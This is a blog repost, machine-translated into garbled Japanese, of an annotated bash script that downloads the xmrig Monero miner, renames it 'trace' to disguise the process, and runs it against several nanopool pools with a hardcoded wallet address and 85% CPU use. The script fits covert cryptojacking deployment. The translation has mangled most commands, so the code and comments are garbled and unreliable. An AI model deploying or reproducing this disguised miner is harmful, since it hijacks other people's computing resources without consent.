鉱業は、スクリプトのメモを実行します

#!/ binに/ bashの

#キル古いトレース皮肉プログラム
のpgrepトレースであれば、その後、pkillはトレース; Fiの

#CPU数:8
THREADCOUNT = $(lscpu |はgrep 'CPU(S)' |はgrep -v '' | AWK '{$ 2印刷}' | 1 -nヘッド)。

#ホスト名MD5チェックサム:b8419160
hostHash = $(ホスト名-f | md5sumは|カットC1-8)。

#输出: "b8419160 - 8"
エコー"$ {hostHash} - $ {THREADCOUNT}"。

#Config.json削除ファイル
のrm -rf config.json。

方法#dを、パラメータのダウンロードxmrig-5.0.0-xenial-x64.tar.gzインストールパッケージを追加します。

# "$ 1" https://github.com/xmrig/xmrig/releases/download/v5.0.0/xmrig-5.0.0-xenial-x64.tar.gz
# "$ 2" trace.tgz

カール#
#-Lは、(H)、リダイレクトを以下
#--insecure SSLサイト(H)で証明書なしで接続を可能にする
。#--connectタイムアウト時間の最大許容接続30秒
の転送を可能にする。#--maxタイム最大時間800S
#--fail HTTPエラー(H)黙って(何も出力を)失敗しない
#-oは「$ 2」の代わりに標準出力の<ファイル>に出力を書き込み

Wgetは#
#--no-んチェックイン証明書認証サーバ証明書
秒、タイムアウトすべて800S --timeout#
リトライ#--triesの数を設定するには、(0無制限)1は
#1 -Oファイリング書かれました。"$ 2"

#_curl ...

D(){
"$ 1" --failカール-L --insecure --connectタイムアウト30 --max時間800 "$ 2" 2>を/ dev / null || -o 800 --tries 1 "$ 1" -O "$ 2" 2>を/ dev / null || --timeoutのwget --no-チェックインの証明書 _curl "$ 1"> "$ 2"。
}

#トレース・サイズが空でないかどうかを確認
テスト-sトレース&& \!
ダウンロードxmrig-5.0.0-xenial-x64.tar.gzと名前を変更しtrace.tgzを、
D https://github.com/xmrig/xmrig/releases trace.tgz && /download/v5.0.0/xmrig-5.0.0-xenial-x64.tar.gz \
#アンパック
タール-zxvf trace.tgz && \
#モバイル起動スクリプト、および名前を変更した
MV xmrig-5.0.0 / xmrig &&トレース\
#削除xmrig-5.0.0ディレクトリの
RM \ -rf xmrig-5.0.0 &&
#削除trace.tgzパッケージ
RM -rf trace.tgz;
トレースが実行可能ファイルかどうかを判断する、または許可を実行する
テスト-x! && chmodの+ X跡をたどります。

方法#K
K(){
./trace \
回再試行する前にバックアップサーバに#スイッチ(デフォルト:5)
-R&LT 2 \
試行番号(デフォルト:5)との間の休止時間
-R&LT 2 \
#送信キープアライブパケットは、タイムアウト(プールサポートする必要がある)を防止するために
--keepalive \
#無効にカラー出力
--no-色\
#寄付の評価、デフォルトの5%(100分5分)
--donateレベル1 \
#CPUの最大使用率を
利用CPU-85 --max \
#優先順位設定処理(アイドル0,5通常最大2)
--cpu優先順位3 \。
#hashrate印刷レポートごとにN秒
25 \ --printタイム
#CPUスレッド
- -threads "$ {THREADCOUNT:-4}" \
#掘削サーバのURL
--url "$ 1" \
#掘削サーバーのユーザー名
46sfbbM3XSjBo54d5a8PYUU5yQ31x6Rpv6tBhe22Cd7VYeJUyFUhzBF5rTf1oTB1d8MqgHxX5RbbEEKZd8fBAAmcFfv9Y5c \ --user
#掘削サーバのパスワード
--pass X- \
#アルゴリズムの代わりに、指定されたコイン
XMR --coin \
#キープアライブパケットが(支持細胞に必要な)オーバーラン防止送信
--keepalive
}
ミネラルプール接続位のK方法
K xmr-asia1.nanopool.org:14444 || K xmr-eu2.nanopool.org:14444を| | K xmr-us-east1.nanopool.org:14444 || K xmr-us-west1.nanopool.org:14444 || K xmr-asia1.nanopool.org:14444 || K xmr-jp1.nanopool.org: 14444

おすすめ

転載: www.cnblogs.com/mybxy/p/12144154.html